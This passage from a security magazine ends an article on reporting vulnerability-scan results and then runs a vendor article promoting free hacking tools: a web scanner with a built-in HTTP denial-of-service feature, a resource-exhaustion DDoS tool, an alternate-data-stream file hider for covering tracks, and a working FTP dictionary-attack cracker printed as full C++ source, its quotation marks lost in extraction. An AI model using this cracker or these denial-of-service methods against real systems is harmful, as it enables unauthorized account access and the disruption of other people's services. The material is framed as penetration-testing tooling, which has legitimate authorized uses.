which can be used in management presentations. Of course, Excel has its drawbacks. Managing and
consolidating results for more than a hundred systems will be a nightmare. The average scan contains
about fifty to eighty finding per system, so for a hundred websites the report can contain 50000 rows. If
you perform the scan more than twice per year, it will become unmanageable.
Vulnerability management software. You need to clearly understand the difference between two products:
vulnerability scanner and vulnerability management software. Some vendors, as Nexpose, include the
vulnerability management software in the package with vulnerability scanner; some sell them separately,
for example Nessus. A vulnerability scanner actively communicates with the target system, sends the
malicious packets and analyses the results, which can then be exported to PDF, HTML, CSV and other
formats. Vulnerability management software gets the results and provides a comprehensive dashboard
to present the results. It can build trends, sort the results by criticality, and keep additional records, for
example business purpose of the system or location. The reporting component allows generating the
compliance reports against widely used standard, for example PCI DSS, ISO 27001, or again the corporate
policies, for example the percentage of computers with outdated software or weak password policy.
3rd party bug tracking software. If you perform the web application assessment, the web developers might
want the results to be imported into bug tracking software. Popular systems are Jira, Bugzilla and Zoho
Bugtracker. This approach provides faster fixing times because the developers are familiar with the
software and use it on a day-to-day basis. Some vulnerability scanners, for example HP Fortify, provide
the integration out of the box so the export process is very simple. The drawback of this approach is
limited reporting. The bug tracking tools have their own prebuild reports, which may not be suitable for
security issues and are not aware of industry standards. You can always create your own report, but it will
take time and effort.

21

Analyze and Report

Figure 6. Nessus sample report

Summary
The network and web application vulnerability management process is very important to keep the
organisation secure and minimise the risk of compromise. Vulnerability scanners will help to proactively
identify issues before the external hackers can discover them. To achieve the best results, reports should be
analysed and appropriate actions should be undertaken to mitigate the risks.
The security analyst should have experience and knowledge of common hacking attacks and mitigation
strategies;
Obtain the feedback from the IT team and senior management when categorising issues and assessing the
security risk;
Try to reduce the number of false positives to make sure you focus on important issues;
Review the scope manually to ensure the vulnerability scanners have covered all the functions, inputs and
services;
Keep records to show to external auditors, senior management or other team members.
Remember, the main purpose of the vulnerability management process is to reduce the risk to acceptable
level. Tools like vulnerability scanners can provide the data and perform some routine tasks, but team input
is absolutely required to achieve the best results.

22

Analyze and Report

On the Web

http://en.wikipedia.org/wiki/Vulnerability_assessment The overview of the vulnerability assessment process

http://www.microsoft.com/en-au/security/pc-security/conficker.aspx more info about Conficker worm
http://www.imperva.com/resources/glossary/clickjacking_ui-redressing.html Clickjacking explained
http://hothardware.com/News/Skype-Account-Hjiack-Vulnerability-Via-Skype-Support-Discovered/ Skype Account Hijack Vulnerability
http://www8.hp.com/us/en/software-solutions/software.html?compURI=1337262#.Uor4wNLilwY HP Web Inspect
vulnerability scanner
https://community.qualys.fr/servlet/JiveServlet/previewBody/1541-102-1-1535/Sourcefire%2025%20Years%20
of%20Vulnerabilities%20Research%20Report-%20A4%20(1)%20-%20copie.pdf Qualys report on most common
vulnerabilities.
http://www.acunetix.com/security-audit/siteauditreport.pdf Acunetix report sample
https://netsparker.zendesk.com/attachments/token/20ttleiwibom0jb/?name=PDF+Sample+Report.pdf Netsparker sample report
http://portswigger.net/burp/samplereport/BurpScannerSampleReport.html burp suite sample report
http://www.tenable.com/products/nessus/sample-reports Nessus sample reports

Glossary

Vulnerability assessment A process for identifying inadequate computer and network securities that cause technological weaknesses. Assessments also generally include methods for prioritizing and implementing additional security
measures for fixing and protecting systems.
Application programming interface (API) In most procedural languages, an API specifies a set of functions or routines that accomplish a specific task or are allowed to interact with a specific software component.
Intrusion prevention systems (IPS), also known as intrusion detection and prevention systems (IDPS), are network security appliances that monitor network and/or system activities for malicious activity.
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation.
The Payment Card Industry Data Security Standard (PCI DSS) is a proprietary information security standard for organizations that handle cardholder information for the major debit, credit, prepaid, e-purse, ATM, and POS cards.
SA account The SA account is created during the installation process of the MS SQL server and the sa account has
full rights in the SQL Server environment. By default, the SA password is blank (NULL), unless you change the password when you run the MSDE Setup program.
Out-of-Band Authentication is the use of two separate networks working simultaneously to authenticate a user.
Use case- In software and systems engineering, a use case is a list of steps, typically defining interactions between a
role (known in Unified Modeling Language (UML) as an actor) and a system, to achieve a goal. The actor can be a
human or an external system.

About the Author

Valeriy Rasskazov, CISSP, CISA, CISM, GWAPT, GPEN, GCIH, GXPN is an IT

Security professional with more than 7 years hands-on experience in network, web
application and wireless penetration testing and vulnerability assessment. Valeriy
assessed more than 500 ecommerce, marketing, mobile, corporate websites across
different industries, such as telecommunication, manufacturing, banks, retail,
government etc. He also has in-depth knowledge of security issues in infrastructure
elements, like Windows and Linux servers, database server, ERP systems and
network equipment.

23

Analyze and Report

Dreamwalker Software
by Craig Fox
At Dreamwalker software, we create tools aimed at IT security professionals and hobbyists
alike. We also offer penetration/ethical hacking services for small companies which has
only recently been implemented. Generally speaking most of our software is free as we rely
on donations to help keep us running and we enjoy sharing tools and code with no cost,
but this will only last as long as donations remain steady so if you find any of the software/
information below useful please consider helping us out by sharing our site, dusting the
cobwebs from your wallet and dropping us some gold, well love you long time. The aim of
this article is to inform you about the latest Dreamwalker software by discussing their origin,
usage and providing practical scenarios.

Figure 1. Main window of Lucidity Scanner

Technical stuff
This tool is a compact vulnerability scanner for webservers that has a plethora of features and is constantly
being updated. Currently its coded in VC++ using .NET 3.5 and Winsocks/Win Inet but were also working
on a cross platform Java version which will decrease some speed but is worth it for the portability. The
downloaded version includes a win32 compiled version.

Scenario
Youre testing a website for vulnerabulities, you decide to gain some information on the server in an
automated manner. With this tool you perform as scan and await the results, the results show ports 80, 21,
22 and 443 is open. You now know that HTTP, FTP, SSH and SSL services are running on this server which
opens up several opportunities for exploits and entry points. Furthermore you find that it has a reachable
login page, potential SQL injection page, robots.txt and sitemap.xml. Using this you may be able to use SQL
injection to exploit the database and server through the login page, you could also see the robots.txt file to
see files/directories they do/dont want search engines to see and also look at the sitemap.xml file. Both
methods give you further information on the target. You later decide to stress test the server to see how it
handles, along with how the staff respond by lanching and DDoS attack.

Motivations for creating it?

Well, as most readers will know their are many different vulnerability scanners out in the wild but we see
nothing wrong with jumping on the bandwagon and trying our own. It was initially to be used only by us for
pentesting but due to our nature of wanting to share things we first sold it for a very small price. Then when
24

Analyze and Report

donations picked up we decided to make it free, because were kind like that weve had good feedback,
suggestions and community input and we cant wait to release v1.2 which is currently in development.

Features
URL Scanning: This is arguably the best feature, Lucidity will perform URL based scanning on files and
directories to find potential vulnerabilities. This ranges from SQL injection potential, front page enables
servers, login pages and doxing information such as robots.txt, sitemap, configs etc.
TCP Port Scanning: This is a socket connect based scan which doesnt got within a range but scans
most likely relevant ports that will be useful purely for speed sake (bare in mind this is just a quick non
comprehensive scan tool) such as, FTP, HTTP, SSL, SMTP, TELNET, SSH, POP3, MySQL and so on to
help you identify the services running and thus help you map out potential weaknesses and entry points.
HTTP Denial Of Service attack: This is in working progress due to some recent bugs, but basically it sends
50,000 TCP socket requests to port 80 in an attempt to disrupt the sevice.

Command Line Interface

It can be easily implemented. The feature not only works as an interface but can actually bypass some rights/
escelate privelages when used propperly. A command line interface that accepts any file and argument as if
you were in the command prompt.

Open FTP Cracker

Figure 2. Main window of OpenFTP

Technical stuff
This is coded in C++ but uses WinInet, it is completely open source and the download includes a Win32 compiled
version, along with the username.txt and passwords.txt files to get you started with some basic combinations.

Scenario
During testing, you decide that a good entry point into their system is via FTP which holds many company
sensitive documentation. You try to log in annonymously but that is disabled, as you need access, more
specifically read/write access you decide to crack an account. You then run this tool and allow it time to
25

Analyze and Report

perform a dictionary attack, the tool reports a valid authentication details session which you then use to login
to the server and access the files.

Motivations for creating it?

Admittedly there are many remote password crackers out their but seems to be lacking quite a bit when it
comes to FTP servers and found many out their are old and dont work, or just produce many false positives.
So naturally we decided to code our own which works very accurately although a little slow, and thus far has
not produced one false positive. We feel like this is a good tool, and while in beta stages is stable and does
the job, therefore we figured wed make this completely open source because this can really be built upon.

Features
Its incredibly simple in its code and concept, it performs a remote dictionary attack on the targeted
webserver until a sucessful authentication is met. You can add as much to the username and password file as
you want in order to increase your chances, but without me blabbering on.
Ill paste the code here as it is so small:
Listing 1. Source code of OpenFTP
#include
#include
#include
#include
#include

<windows.h>
<wininet.h>
<iostream>
<string>
<fstream>

#pragma comment(lib, Wininet)

int main()
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTitle(Open FTP cracker coded by Dreamwalker, http://Dreamwalk.yolasite.com/);
std::cout<<Open FTP cracker beta 2.0 coded by Dreamwalker\
n_________________________________________________\n<<std::endl;
std::string usernames = , passwords = , target = , temp = ;
//init wininet functions
HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
if(!hInternet)
{
std::cout<<Error starting WinInet, please close this application<<std::endl;
std::cin>>temp;
return -1;
}

//get files
std::ifstream user_reader(usernames.txt);
std::ifstream pass_reader(passwords.txt);
//file error handling
if((!user_reader)||(!pass_reader))
{

26

Analyze and Report

}

std::cout<<Error opening one of the input files <<std::endl;

std::cout<<ensure \usernames.txt\ and \passwords.txt\ are in the same<<std::endl;
std::cout<<directory as this application, please close this application\n<<std::endl;
std::cin>>temp;
return -1;

//get target server

std::cout<<What is the target FTP server?:<<std::endl;
std::cin>>target;
//get first username to be used in loop
getline(user_reader,usernames);
//go through all passwords on one username then continue to next username until list has
finished
int attempts = 0;
HINTERNET hFtpSession = NULL;

while(!user_reader.eof())
{
SetConsoleTextAttribute(hConsole, 7);
attempts++;

getline(pass_reader,passwords);

std::cout<<Trying username +usernames+ with password +passwords+ attempts
<<attempts<< ;

//Connect to FTP server with provided credentials

hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_
PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
//is password cracked?
if(!hFtpSession)
{

SetConsoleTextAttribute(hConsole, 12);

std::cout<<= FAIL<<std::endl;

InternetCloseHandle(hFtpSession);
}
else if(hFtpSession)
{

SetConsoleTextAttribute(hConsole, 10);

std::cout<<\n\nCracked +target+\nThe username is: \+usernames+\\nPassword
is: \+passwords+\<<std::endl;
InternetCloseHandle(hFtpSession);

break;
}

if(pass_reader.eof())
{
//reset pass file
pass_reader.clear();
pass_reader.seekg(0,std::ios::beg);
//get next username
getline(user_reader,usernames);

27

Analyze and Report

InternetCloseHandle(hInternet);
pass_reader.close();
user_reader.close();
std::cout<<\nFinished, please close this application<<std::endl;
std::cin>>temp;
return 0;

As you can see the code is simple, but very effective. Youll notice how the loop works by checking each
password iteration against a username before moving onto the next. This was a function that we created a
while back when we did a proof of concept dictionary and brute force cracker and we havent changed it one
bit, aside from the conditions.
Even though its open source, the code, unfortunately isnt cross platform. While generally speaking our
open source tools aims to be just that, in this particular case WinInet was very simple and useful for doing
this, however, it would be quite easy to port this to other languages and/or use different resources (ie;
networking lib etc) to compile for other platforms.

Info Getter GUI edition

Figure 3. Main window of Info Getter

Technical Stuff
This is code in VC++ using .NET 3.5+, and a win32 version included in download.

Scenario
Youre on a local network in a windows environment, its early stage of the testing and you decide to start
gaining information on the target. You run this against a local machine and find that it accepts the Null
session, and also shows the shares. This information can be used to compromise the system.

28

Analyze and Report

Motivations for creating it?

Well, particularly when testing within a network (which is often a windows based environment), you usually
find yourself in the command line executing certain things to gain information and/or exploit weaknesses. We
wanted to make a tool which automates a lot of this process for you and make it a more pleasant experience.

Features
The way it works is youll put in a target system (WAN or LAN) and it will run windows based commands,
pipe them, store them to a temporary file and display the results. It will do things like pinging, perform a
zone transfer, try a null session, attempt to access shares, tracert and so on in a neat and concise manner
providing you with a slick, easy to use automated tool in your reconaisance/early stages of a penetration
test on a windows based environment. At first, we created this tool as a command line tool which saves the
results to a file, but due to user feedback and requests, weve done it like this for efficiency, clarity and a
better end user experience.

Project Black Death

This is a POC denial of service attack tool which we come up with the concept when we were able to crash
an entire web server just from a laptop with no bots or help. Its a different take on the standard TCP/UDP
flood. The tool drains resources from the webserver by requesting large files and/or queries in the database.
The idea is to chew up the memory and cpu rendering the server useless, it is completely scriptable but I
need to explain a bit more to clarify.
Lets say for example, we have a target forum, and on that forum is a user who has thousands of posts, and
youre able to see these posts with something like: example.com/search.php?do=finduser&u=1 now the
request may only take 2 3+ seconds to load in your browser, but the server is doing a lot of things under
the hood to get that information and display it to you. Lets consider the /sitemap.xml file for instance, this
is generally a huge file and often uses a decent amount of bandwidth. Now consider executing both links, or
more links dependant on how many you want in an automated manner in seconds and what that can do to the
server and you have Black Death Project. So far this has been very effective, but youll only get the most
out of it if you know what to look for the download contain a win32 compiled version.

Why we created this?

I touched this question in the description, its mainly due to the flaws in resource handling and memory
allocation which can cause huge servers to crash potentially dependant on several factors. Again this is POC
and improvements need to be made on the tool but it is a very effective method for DDoS attacks without the
need to use many systems, bandwidth etc.

Scenario
You are stress-testing a webserver for DDoS conditions, it has very good IDS hardware and software
and you just dont have the bots or bandwaidth resources to slow this server down. After a little manual
probing, you find several resources on the server which are rather CPU and memory intense, so you run this
tool against all the resources via different URLs in a scripted manner which requests large files and large
database queries etc and potentially crash the server.

Stealth text ADS

ADS (alternate data stream) is simply a NTFS implementation in most current versions of windows
intentionally used for metadata and other stream sharing in the application layer level. It can hide files within a
file and keep it well hidden and undetected either for hiding your tracks on a target or an exploit. For instance,
29

Analyze and Report

it is completely possible to write to a legitimate file like windows calc.exe using a different stream with secret
information that only you can see. Windows often struggles to pick this up and only vagualy does it in the logs
as an exectution, or when using the DIR *.ext /R switch command. That aside its actually hard to detect its
worth noting also, that in older versions of windows its possible to run executables etc. This tool makes use of
this in an user friendly automated manner, for instance, you can create, view and save secret information in a
file of your choosing for information gathering, exploiting or more its completely up to you. Coded in VC++
and requires .NET runtime 3.5+.

Why we decided to make this?

Well, ADS is an interesting topic. It feels like it is not used to its full potential, the idea behind this tool is to
create something that is easy to implement ADS quickly without command lining and looking suspicious.
Furthermore, as this is only in early stages, it will have an ADS revealer and scanner which is very useful
when it comes to protecting yourself/company against such attacks.

Scenario
You are locally testing on a client, youre on a shared machine and need to hide some information on that
computer without raising suspicion. You use this tool and use the host C:\windows\system32\calc.exe and
run an ADS to a hidden text document which you hide sucessfully and open, write, save and close as many
times as you wish which you later extract. This can also be used for exploiting but is a little beyond this
simple scenario.

What to expect from Dreamwalker in the future?

What you can expect from us is continual tools development, resources and more. We also hope to have a
thriving active community as were brewing over the idea of making a forum or something along those lines
to liase with people regarding IT security, software development and things of that nature.

Summary
Well thats all, just a few of our tools discussed and outlined. I hope you found this article interesting. Feel
free to contact us, if you have any questions, requests etc.

On the Web

http://Dreamwalk.yolasite.com Dreamwalker Software Website

http://www.youtube.com/watch?v=VZde7IdZZUs

About the Author

Lead te ster and coder, Craig Fox started out programming and studying IT security in his teen years
doing multiple official courses along with self training. He has worked for several companies employing
his technological skill set and is very active within the industry sector.

30